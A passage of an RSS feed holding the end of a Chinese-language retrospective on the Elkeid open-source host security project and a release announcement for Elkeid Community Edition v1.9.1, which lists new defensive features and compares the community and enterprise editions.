43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">其实关于开源版本仍然有很多问题，主要集中在如文档不完善，各种不友好的使用上的 BUG 一直持续存在等等。一方面是人力问题，第二方面实际上开源版本到现在为止在社区方面应该依然是比较失败的，失败的主要表现有以下：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“社区群的高质量讨论极少，主要以抛出使用问题为主；来自社区的有意义的 PR 2022 年少于3个，虽然 Star 数上升明显。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">这样实际上社区始终依赖 Elkeid 团队输入，但是我们在各种其他压力下实际上很难持续维持对于社区的投入，并且社区却很难真正形成，反而更像是某种负担，并且大量不阅读文档，对于基础概念缺失的用户的反复提问也会让团队内对于开源这件事产生质疑。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">我在 2022 年听到过很多次这样的评价：“Elkeid 就是那个字节的开源 HIDS，而且他们最核心的部分没有开源。”，事实上如果只是策略和策略引擎未开源就会被贴上“最核心的部分没有开源”的标签，也确实比较容易影响我们对于开源的心态。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">实际上对于开源我们最初的想法非常简单：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“这是一个很酷的事情，应该让更多人知道：这个细分领域还有人在专注，还在不断提出更优解；这是一个很酷的事情，我们希望有更多人加入进来一起完善。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">回看 2022，似乎这个期望依然是遥不可及的。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">7. 写在最后</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">2022 年几个好友都告诉过我：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“只是一份工作而已，不要想太多。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">我总是会在心里想：“Elkeid 对我来说可不仅是工作而已。”</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">但是我现在站在 23 年的 1 月里回看 22 年的时候，我开始觉得工作之外还有很多需要我关注的人和事，Elkeid 也仅仅是我理想中的一部分。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">在最后祝新的一年世界和平，希望所有的故事都有美好的结局。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484362">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=472f248d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484362%26idx%3D1%26sn%3D3544d0e4d109e95d4b0cdde260714ce5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 22 Jan 2023 14:29:00 +0800</pubDate>
    </item>
    <item>
      <title>Elkeid 社区版 v1.9.1 正式发布</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484357&amp;idx=1&amp;sn=3aafe3a5324bac75a1f7e6eb02f81bac</link>
      <description>Elkeid 社区版 v1.9.1 发布</description>
      <content:encoded><![CDATA[<p>
原创 <span>Elkeid Team</span> <span>2022-12-02 17:11</span> <span style="display: inline-block;">北京</span>
</p>

<p>Elkeid 社区版 v1.9.1 发布</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ef80b5b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchsTQ75FHOic5SN3JvLhvCsO9xaw2YREIeR7icXwBRIAfYARgkvVcwaiaSQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io">我们很高兴向大家宣布，Elkeid社区版 v1.9.1 于12月02 日正式发布。这是自Elkeid 社区版 v1.7 发布以来的第一个大版本。</p><p>本次更新不仅包含了性能优化和稳定性的提升，还新增了<strong>漏洞扫描、</strong><strong>基线</strong><strong>检测、应用运行时防护、</strong><strong>云原生</strong><strong>防护</strong>等许多重要功能，欢迎大家使用。</p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="" mpa-is-content="t">产品概述</p></section></section></section></section></section><p>Elkeid (Bytedance Cloud Workload Protection Platform) 是一款可以满足 主机，容器与容器集群，Serverless 等多种工作负载安全需求的开源解决方案，源于字节跳动内部最佳实践。</p><p><strong>Elkeid 具备以下主要能力：</strong></p><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p><strong>Elkeid</strong> 不仅具备传统的 <strong>HIDS(Host Intrusion Detection System)</strong> 的对于主机层入侵检测和恶意文件识别的能力，且对容器内的恶意行为也可以很好的识别，部署在宿主机即可以满足宿主机与其上容器内的反入侵安全需求，并且 <strong>Elkeid</strong> 底层强大的内核态数据采集能力可以满足大部分安全运营人员对于主机层数据的渴望。</p></li><li style="white-space:pre-wrap;"><p>对于运行的业务 <strong>Elkeid</strong> 具备 <strong>RASP</strong> 能力可以注入到业务进程内进行反入侵保护，不仅运维人员不需要再安装一个 Agent，业务也无需重启。</p></li><li style="white-space:pre-wrap;"><p>对于 <strong>K8s</strong> 本身 <strong>Elkeid</strong> 支持接入<strong>K8s Audit Log</strong> 对 <strong>K8s</strong> 系统进行入侵检测和风险识别。</p></li><li style="white-space:pre-wrap;"><p><strong>Elkeid</strong> 的规则引擎 <strong>Elkeid</strong><strong> HUB</strong> 也可以很好的和外部多系统进行联动对接。</p><p><br/></p></li></ul><ul start="1" class="list-paddingleft-1"></ul><p><strong>Ekeid</strong> 将这些能力都很好的融合在一个平台内，满足不同工作负载的复杂安全需求的同时，还能实现多组件能力关联，更难得的是每个组件均经过字节跳动海量数据和多年的实战检验。</p><p><img class="rich_pages wxw-img" data-height="1254" data-ratio="0.4396914446002805" data-width="2852" data-type="png" data-w="2852" src="https://wechat2rss.xlab.app/img-proxy/?k=1d80870d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchdBbryzWmNfgrsFIiauWUcwZObbFZXItia97VMcC6dJVqwsw0JsibMnjgw%2F640%3Fwx_fmt%3Dpng"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid="" mpa-is-content="t">重要更新</p></section></section></section></section></section><h3 style="white-space:pre-wrap;"><strong>增加漏洞扫描、基线检测能力</strong></h3><p>如何能够全面、精准地检测信息系统中存在的各种脆弱性问题，包括各种安全漏洞、安全配置问题，一直是安全运营中重要工作之一。</p><p>Elkeid 本次开源的漏洞扫描和基线检测能力，旨在信息系统受到危害之前为管理员提供专业、有效的漏洞修补建议，帮助用户进行系统加固，这也是CWPP的核心能力之一。</p><p>社区版默认支持部分漏洞的检测和少量基线检查能力，可以开箱即用。另外还可以基于我们的开源版本进行二次开发，补全更多的漏洞数据和增加更多的插件检测能力。</p><p><img class="rich_pages wxw-img" data-height="563" data-ratio="0.43984375" data-width="1280" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a6e736f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchEjhttZHnwwEOnJH890W82zcECdxoN6srk0sBxwibVQiaTZ9gMVs2TVpg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1124" data-ratio="0.6237513873473918" data-width="1802" data-type="png" data-w="1802" src="https://wechat2rss.xlab.app/img-proxy/?k=02d5ff49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchhGSLjrw01be2KyeiazQjUiaahxic5zibXAdwSPClHibGZ07o3PNym8w5fNQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="465" data-ratio="0.36328125" data-width="1280" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a3c0c626&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchVMibeDbdP4Oct6rFIYicz7MtxfFA2W0hV8JCgO60ZFQrmwIFKlGJLiblw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1508" data-ratio="0.5153793574846206" data-width="2926" data-type="png" data-w="2926" src="https://wechat2rss.xlab.app/img-proxy/?k=0f6c3f3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchtgwdGLT6NGiaO0dLFbpYBzCf1pliboo3fU6ziay1zWUz1JIuuFDE1TTuQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>增加应用运行时防护能力</strong></h3><p>RASP的端上能力此前我们已经完全开源，本次更新我们提供了RASP能力的完整接入和使用，可以灵活得配置注入规则和管理注入进程，支持Java、PHP、Golang、NodeJS、Python五种运行时类型的注入。</p><p>此外社区版还默认提供了部分的RASP入侵检测规则，支持部分场景的检测能力，想要更强的检测能力可以自行基于 Elkeid HUB 进行策略构建。</p><p><img class="rich_pages wxw-img" data-height="1396" data-ratio="0.5448868071818892" data-width="2562" data-type="png" data-w="2562" src="https://wechat2rss.xlab.app/img-proxy/?k=7d355283&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchA5Ey8V3lf1NIq7A96FffNspaB5UEcicUHSCeTmlYaHowAFvEmrlviaicw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="681" data-ratio="0.53203125" data-width="1280" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2c48873d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchDszIU7DibNibk4VSYFkVTGGmSbibe2ry0gJQTEAIaf5r9QLvlsJ7rxs5w%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1266" data-ratio="0.499211356466877" data-width="2536" data-type="png" data-w="2536" src="https://wechat2rss.xlab.app/img-proxy/?k=8e729716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchOfXAOoAcACo8d9aEHuN8LibiaU0AeWhToerfSkTPqwwvaftlztwD8EicA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1680" data-ratio="1.188118811881188" data-width="1414" data-type="png" data-w="1414" src="https://wechat2rss.xlab.app/img-proxy/?k=cd48ec1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchibNL2Mv322jXEW1PAWZIFXibAZO8icg8QMTm43czJpUPERPSUV9koIYWQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>增加容器集群保护能力</strong></h3><p>作为业界领先的容器编排系统之一，Kubernetes为企业容器环境带来了可扩展性，可靠性和简化管理，但同时也为攻击者提供了新的攻击面。</p><p>本次我们开源了Kubernetes容器集群防护能力，提供了完整的数据接入能力，并默认配置了部分检测规则。</p><p><img class="rich_pages wxw-img" data-height="502" data-ratio="0.3921875" data-width="1280" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3d3b4d5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchDiahOG1XIYOwF5TiafbqvbPkQuQkqoIFDibIKnTkjrgVvdZPAhibTAdoNA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1522" data-ratio="0.5288394718554552" data-width="2878" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=20ee510f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchMy7Inibu7kdwb70gic6jZibUgLzqX2hzt9k7icQp7riavE1KVOiaFqFF7bAw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>增加端上病毒扫描能力</strong></h3><p>本次我们更新了端上病毒扫描能力，支持检测常见的Webshell，木马，后门，挖矿程序等恶意二进制静态文件。并且支持自定义扫描、快速扫描、全盘扫描等扫描方式。</p><p><img class="rich_pages wxw-img" data-height="1254" data-ratio="0.4815668202764977" data-width="2604" data-type="png" data-w="2604" src="https://wechat2rss.xlab.app/img-proxy/?k=75f93ee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchXecSjPJmAibEnaPZSLlfiam9ojrSrTKLh7BWjHfTnAcvod7WYIS3HBxA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1708" data-ratio="1.2045133991537376" data-width="1418" data-type="png" data-w="1418" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1a7a4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchyrwgXU63uQZ2Em6HQrZxSOQXrDVshthIxQ9w2kNuotgWOyvfvzG1zA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>更强的的资产可视能力</strong></h3><p>本次更新，我们增加容器集群、中间件、应用识别、服务器网卡、基础硬件信息、内核模块信息等的采集，具备了更强的资产采集和可视能力。</p><p><img class="rich_pages wxw-img" data-height="663" data-ratio="0.5637755102040817" data-width="1176" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=af0f0f38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchPDzafuAldu3ZEOseGtOplAADxUPiaswET4XJ98cuPhcXskH2YwxCcicw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1312" data-ratio="0.5077399380804953" data-width="2584" data-type="png" data-w="2584" src="https://wechat2rss.xlab.app/img-proxy/?k=606a7c68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchxDQhVUcic4JOOAp5m8lGTMDMUqM2CMiapFfWuMAe6QicqTNCibUXxtdf8A%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>监控能力补齐，降低运维难度、提升运维效率</strong></h3><p>除了安全能力以外，Agent对业务机器的影响，后端系统本身的稳定性也是我们非常关注的。本次开源我们增加了对Agent以及后端服务的运行状况以及资源占用等的监控、告警能力。</p><p>可以在前端实时查看Agent所在主机的CPU，内存，磁盘和网络流量等使用情况。还可以在系统监控模块查看后端负载情况和相关的系统告警。</p><p><img class="rich_pages wxw-img" data-height="1704" data-ratio="0.592077831827658" data-width="2878" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=c294f2d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchby2micbs9I87hibzY3l3kOMdyvEonwfRlxpoZia6ia9hb1gW8tPF1eoHpA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1128" data-ratio="0.4279210925644917" data-width="2636" data-type="png" data-w="2636" src="https://wechat2rss.xlab.app/img-proxy/?k=30264220&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWch8ywdFcNHyPicc3SBAmAuhmeIJ1ZZF327ItbYgN0fEiad2BDdPcjEpuFw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space:pre-wrap;"><strong>Elkeid HUB 增加完整的前端支持</strong></h3><p>Elkeid HUB 是一款由 Elkeid Team 维护的规则/事件处理引擎，支持流式/离线(社区版尚未支持)数据处理。初衷是通过标准化的抽象语法/规则来解决复杂的数据/事件处理与外部系统联动需求。</p><p>本次我们发布了 Elkeid HUB 的相对完整前端能力，可以支持规则的可视化编辑，规则测试，规则发布，集群状态监控，以及用户管理。</p><p><img class="rich_pages wxw-img" data-height="1524" data-ratio="0.5295343988881167" data-width="2878" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=9eb854cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchib3G7XkFZDDurBYpUSxzWI1XtDEMPsGhXDLs6CicyaUicEZCtSlCV2hMw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1530" data-ratio="0.5316191799861014" data-width="2878" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=cba30e3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchKa7zowrLEiaOLa31H5cQibrKTOicsjePGOgEu26fib61Ho0MiaHb2prb1jw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-height="1528" data-ratio="0.5309242529534399" data-width="2878" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=4e8f3f85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVxK34JicrzBZpc5Y4oCOPWchwxLKrUCWHwbgh7LicTGs610pHB1icAlGPjufqEX6dw6fLvxhibNJjSvoQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="white-space:pre-wrap;"><strong>其他更新</strong></h2><p>这里只列举了部分更新，更详细的细节请查看 Release Notes。</p><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>提供钉钉，飞书，企业微信，邮件等告警消息推送能力，支持按告警等级维度进行告警推送。</p></li></ul><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>组件配置及策略优化，支持用户下发自定义客户端插件。</p></li></ul><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>增加文件完整性检测能力。</p></li></ul><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>首页重构，优化产品表达能力。</p></li></ul><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>告警整体展示能力完善，提供更加详尽的告警信息。</p></li><li style="white-space:pre-wrap;"><p>Elkeid HUB增加规则测试能力。</p></li><li style="white-space:pre-wrap;"><p>性能优化和多个问题修复，提升了兼容性和稳定性。</p></li></ul><ul start="1" class="list-paddingleft-1"></ul><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="" mpa-is-content="t">社区版和企业版</p></section></section></section></section></section><p>与社区版相比，Elkeid企业版具备更完整的防入侵和风险感知能力，可以支持单独策略售卖，也支持完整能力售卖。</p><p>目前，Elkeid企业版不仅仅在字节跳动内部和火山引擎上使用，也得到了众多外部客户的信任和验证。如果对Elkeid企业版感兴趣请联系: <span style="color: rgb(61, 170, 214);">elkeid@bytedance.com</span>。</p><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>Elkeid企业版与社区版能力差异：</p></li></ul><table><colgroup><col width="234"/><col width="272"/><col width="336"/></colgroup><tbody><tr><td height="31" width="234" data-sheet-value="&#34;功能&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-weight: 600;line-height: normal;vertical-align: middle;text-align: center;word-break: break-word;">功能</td><td height="31" width="272" data-sheet-value="&#34;Elkeid Community Edition&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-weight: 600;line-height: normal;vertical-align: middle;text-align: center;word-break: break-word;">Elkeid Community Edition</td><td height="31" width="336" data-sheet-value="&#34;Elkeid Enterprise Edition&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-weight: 600;line-height: normal;vertical-align: middle;text-align: center;word-break: break-word;">Elkeid Enterprise Edition</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;Linux 数据采集能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">Linux 数据采集能力</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;RASP 探针能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 